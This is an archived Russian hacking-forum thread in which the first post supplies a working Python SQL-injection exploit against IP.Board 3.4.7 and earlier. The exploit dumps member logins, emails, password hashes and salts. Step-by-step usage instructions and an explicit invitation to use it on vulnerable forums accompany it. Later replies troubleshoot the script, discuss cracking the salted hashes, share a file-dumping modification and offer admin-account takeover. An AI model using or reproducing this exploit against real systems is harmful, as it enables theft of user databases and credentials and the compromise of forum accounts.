PDA

Просмотр полной версии : [Уязвимость] Угоняем базу форума IPB версии 3.4.7 и меньше


slastikdj
09.12.2014, 23:08
С помощью приведенного ниже эксплойта проводим sql инъекцию на форумах IPB <=3.4.7 и добываем базу пользователей, а именно:
- ид юзера, логин, мыло, пароль в зашифрованном виде (для тех кто не знает, хэш на IPB следующего вида: md5(md5($salt).md5($pass)), соль.

Что же нужно делать?
- Ищем сервер с форумом на IP.Board
- Запускаем скрипт, предварительно вписав адрес атакуемого форума, с помощью python 2 (скачать с офф сайта: [Ссылки могут видеть только зарегистрированные и активированные пользователи]) с помощью командной строки и команды вида:

c:\python\python.exe c:\exploit.py

Exploit:

#!/usr/bin/env python
# Sunday, November 09, 2014 - secthrowaway () safe-mail net
# IP.Board <= 3.4.7 SQLi (blind, error based);
# you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable

url = '[Ссылки могут видеть только зарегистрированные и активированные пользователи]адрес_форума/'
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

import sys, re

# <socks> - [Ссылки могут видеть только зарегистрированные и активированные пользователи]
#import socks, socket
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket
# </socks>

import urllib2, urllib

def inject(sql):
try:
urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))
except urllib2.[Ссылки могут видеть только зарегистрированные и активированные пользователи] e:
if e.code == 503:
data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()
txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
if txt is not None:
return txt.group(1)
sys.exit('Error [3], received unexpected data:\n%s' % data)
sys.exit('Error [1]')
sys.exit('Error [2]')

def get(name, table, num):
sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
s = int(inject('LENGTH((%s))' % sqli))
if s < 31:
return inject(sqli)
else:
r = ''
for i in range(1, s+1, 31):
r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
return r

n = inject('SELECT COUNT(*) FROM members')
print '* Found %s users' % n
for j in range(int(n)):
print get('member_id', 'members', j)
print get('name', 'members', j)
print get('email', 'members', j)
print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j)
print '----------------'


Пытался разжевать как можно тщательнее, чтоб любой, даже не самый умный, смог использовать эту уязвимость в своих целях :rolleyeyes:

P.S.: серверов много, которые подвержены этой уязвимости, даже топовые есть.

qBattery
10.12.2014, 16:14
Выдает Error [2] что значит?

Ekzuperi
10.12.2014, 22:31
Кушаем пока не поздно называется)

Добавлено через 14 минут
Выдает Error [2] что значит?

Аналогично.

Keiner
10.12.2014, 23:41
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

вот с таким что делать?

Добавлено через 1 час 17 минут
c6089cb5de48a32fafba7ddd08d576e7

что за пасс?

Ekzuperi
11.12.2014, 02:57
В md5 пароль.

Denik18
11.12.2014, 14:14
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

вот с таким что делать?



что ты решил с этим? у меня тоже самое

Keiner
11.12.2014, 14:44
Без правки скрипта ничего не сделать, это я на своем форуме смотрел. А значит, что злом возможен, но с правкой под форум...

figvam74
11.12.2014, 15:14
url = '[Ссылки могут видеть только зарегистрированные и активированные пользователи]адрес_форума/'

заменить на
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

Пробуйте)))

SandeL
11.12.2014, 16:13
куда только он их сохраняет ,когда задампит ?

Keiner
11.12.2014, 18:53
url = '[Ссылки могут видеть только зарегистрированные и активированные пользователи]адрес_форума/'

заменить на
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

Пробуйте)))

А так пишет что синтаксис кривой

figvam74
11.12.2014, 19:33
А так пишет что синтаксис кривой

url = '[Ссылки могут видеть только зарегистрированные и активированные пользователи]адрес_форума/'

заменить на
url = '[Ссылки могут видеть только зарегистрированные и активированные пользователи]

То есть вот так ) имел ввиду) Пробуй)

NeonEye
11.12.2014, 19:44
Error [2]

Добавлено через 15 минут
url = '[Ссылки могут видеть только зарегистрированные и активированные пользователи]адрес_форума/'

заменить на
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

Пробуйте)))

Это работает

qBattery
11.12.2014, 22:35
Кушаем пока не поздно называется)

Добавлено через 14 минут


Аналогично.
Как бы в ноябре еще фикс был выложен )))

slastikdj
12.12.2014, 02:20
Как бы в ноябре еще фикс был выложен )))

Мало кто пофиксил :)

figvam74
12.12.2014, 08:40
Вопрос к автору темы, либо к кому либо кто тут есть вообще и разбирается в этом)
Вот угнал базу, он в md5(md5($salt).md5($pass)) + соль) Можно ли как то это теперь расшифровать?) т.е. расшифровка обычная, как и базы серверов ла2, или куда сложней?) Честно мало в этом разбираюсь, вот и спрашиваю)

Motherfuckers
12.12.2014, 09:09
да нечего сложного в гугле пропиши!

slastikdj
12.12.2014, 13:02
Вопрос к автору темы, либо к кому либо кто тут есть вообще и разбирается в этом)
Вот угнал базу, он в md5(md5($salt).md5($pass)) + соль) Можно ли как то это теперь расшифровать?) т.е. расшифровка обычная, как и базы серверов ла2, или куда сложней?) Честно мало в этом разбираюсь, вот и спрашиваю)

Соль эт $salt. Я же написал, правильный хэш md5(md5($salt).md5($pass))

Gotfo
13.12.2014, 08:52
как расшифровать то с солью?

Toker88
13.12.2014, 09:35
как расшифровать то с солью?

Его нельзя расшифровать, так же, как и мд5. Пора бы это уже запомнить)

По сути базы нужны для парсера мыл, а не аккаунтов.

KillerTT
17.12.2014, 23:27
Подскажите как вообще запускать эксплоиты эти в гугле искал нечего толкового не нашёл.

MrSmi
20.12.2014, 02:13
>>> #!/usr/bin/env python
... # Sunday, November 09, 2014 - secthrowaway () safe-mail net
... # IP.Board <= 3.4.7 SQLi (blind, error based);
... # you can adapt to other types of blind injection if 'cache/sql_error_latest
.cgi' is unreadable
...
>>> url = '[Ссылки могут видеть только зарегистрированные и активированные пользователи]
File "<stdin>", line 1
url = '[Ссылки могут видеть только зарегистрированные и активированные пользователи]
^
SyntaxError: EOL while scanning string literal
>>> ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Ge
cko) Chrome/30.0.1599.17 Safari/537.36"
>>>
>>> import sys, re
>>>
>>> # <socks> - [Ссылки могут видеть только зарегистрированные и активированные пользователи]
... #import socks, socket
... #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
... #socket.socket = socks.socksocket
... # </socks>
...
>>> import urllib2, urllib
>>>
>>> def inject(sql):
... try:
... urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.p
hp' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!
="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": u
a}))
... except urllib2.[Ссылки могут видеть только зарегистрированные и активированные пользователи] e:
... if e.code == 503:
... data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest
.cgi' % url, headers={"User-agent": ua})).read()
... txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILIN
E)
... if txt is not None:
... return txt.group(1)
... sys.exit('Error [3], received unexpected data:\n%s' % data)
... sys.exit('Error [1]')
... sys.exit('Error [2]')
...
>>> def get(name, table, num):
... sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
... s = int(inject('LENGTH((%s))' % sqli))
... if s < 31:
... return inject(sqli)
... else:
... r = ''
... for i in range(1, s+1, 31):
... r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
... return r
...
>>> n = inject('SELECT COUNT(*) FROM members')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<stdin>", line 3, in inject
NameError: global name 'url' is not defined
>>> print '* Found %s users' % n
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'n' is not defined
>>> for j in range(int(n)):
... print get('member_id', 'members', j)
... print get('name', 'members', j)
... print get('email', 'members', j)
... print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members
', j)
... print '----------------'


и что дальше?????

dortezy
20.12.2014, 21:56
Ну вроде получилось, только что делать дальше?

Кто может расшифровать это

d616deac21a21bd810b7bab567280915:ZInO>

Или скажите как можно расшифровать это самому и реально ли вообще?

Да и еще одна проблема, вся база, мейли и хэшы показываются в командной строке, но только определенное количество столбцов, например показываются последние 100 логинов мэйлов и хэшов, а старые уже не видны и к ним нельзя вернутся прокруткой наверх. Как исправить эту проблему?

Zheludd
21.12.2014, 04:44
Реально всё, но тут соль, так что забудь

Gotfo
21.12.2014, 14:03
Реально всё, но тут соль, так что забудь

а как с солью то расшифровать?

Posidon
21.12.2014, 17:09
а как с солью то расшифровать?
passwordspro тебе поможет

Gotfo
21.12.2014, 17:28
passwordspro тебе поможет

там же соль никак

Itself
21.12.2014, 18:12
как возобновить сеанс ? т.е не с 1 пользователя,а например с 500. И почему только на некоторых есть зашифрованный пароль,а в основном просто прочерк?

karkajoi123
22.12.2014, 04:57
Все вроде пашет,показывает сколько юзеров зарегано в базе,логин мыло вытаскивает ,а вот с паролем проблема.
В общем проблема в этой строчке print get('CONCAT(members_password, 0x3a, members_password)', 'members', j) .В общем выдает вот такое
[Ссылки могут видеть только зарегистрированные и активированные пользователи] .Как я понял база ругается что такой колонки нету,или я не прав ?Какие посоветуете пути решения ?

zoomcat3939
23.12.2014, 15:36
где лог сохраняется ?

Danique
25.12.2014, 18:23
Могу научить заходить под админом с помощью этого сплоита :) и можно делать всякие гадости админам :)

N1ON
18.01.2015, 07:02
Реально всё, но тут соль, так что забудь

Парень, издеваешься? Эта соль уже как сахар)
вот оф. гайд вместе с программой для расшифровки, через вашу видюху.
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

Вот еще интересный сайт по этой теме:

[Ссылки могут видеть только зарегистрированные и активированные пользователи]

FadDs
26.01.2015, 16:23
Переделал немного скрипт, чтобы дампил всё файл.

На 7-ой строке переменная txtName, вписываем туда имя файла, куда скрипт будет дампить. Файл будет в папке со скриптом, создаётся автоматически. Если забудете поменять имя - существующий не сотрёт, а будет дописывать в имеющийся.

Инструкции:
В папке питона нужно дать запуск от админа файлам python.exe и pythonw.exe, например, так:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]


Скачайте прикреплённый файл, замените формат на .py Далее, отредактируйте под себя строки 6 и 7, сохраните и запускайте скрипт просто двойным щелчком по .py-файлу.
Или запустите cmd от админа и действуйте как описано в первом посте.

Сильно не пинайте, знаю питон десять минут :forward:

mikoto1
28.01.2015, 01:09
Пробовал по инструкции, выдал лог такого типа.

Microsoft Windows [Version 6.1.7601]
(c) Корпорация Майкрософт (Microsoft Corp.), 2009. Все права защищены.

C:\Users\root> c:\python\python.exe c:\script.py
Error [3], received unexpected data:
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
------------------
Date: Mon, 26 Jan 2015 01:53:14 +0000
Error: 1146 - Table 'themoon_forum.members' doesn't exist
IP Address: 108.162.254.137 - /interface/ipsconnect/ipsconnect.php
—-----------------------------------------------------------------------------
--------------------------------------------------------------------------------
-------------------
mySQL query error: SELECT m.*, m.member_id as my_member_id,ccb.cache_content FR
OM ibf_members m LEFT JOIN ibf_content_cache_sigs ccb ON ( ccb.cache_content_id
=m.member_id ) WHERE m.member_id IN (-1,-1) and 1!="'" and extractvalue(1,conc
at(0x3a,(SELECT COUNT(*) FROM members)))#')
.------------------------------------------------------------------------------
--------------------------------------------------------------------------------
------------------.
| File |
Function |
Line No. |
|----------------------------------------------------------------------------+-
------------------------------------------------------------------------------+-
------------------|
| interface/ipsconnect/ipsconnect.php |
[IPSMember].load |
100 |
'----------------------------------------------------------------------------+-
------------------------------------------------------------------------------+-
------------------'
| |
[ipsConnect].login |
|
'----------------------------------------------------------------------------+-
------------------------------------------------------------------------------+-
------------------'
| interface/ipsconnect/ipsconnect.php |
[].call_user_func_array |
772 |
'----------------------------------------------------------------------------+-
------------------------------------------------------------------------------+-
------------------'

C:\Users\root>

Vebstor23
04.02.2015, 03:05
Маловероятно что этот скрипт рабочий т.к. при выводе информации о пользователе, имэйл и пасс не совпадает.
Попробуйте зарегистрируйтесь на форум и посмотрите правильность выдачи данных.

Danique
04.02.2015, 16:18
Метод рабочий, только уже много где по закрывали дыры. а пароль бессмысленно расшифровывать, есть более лучшие методы для угона админского аккаунта через этот скрипт

Vebstor23
04.02.2015, 19:42
Метод рабочий, только уже много где по закрывали дыры. а пароль бессмысленно расшифровывать, есть более лучшие методы для угона админского аккаунта через этот скрипт
Ну если уже много где закрыли дырки где применяется данный скрипт, думаю можно и поделится с угоном админского аккаунта через него?:pif: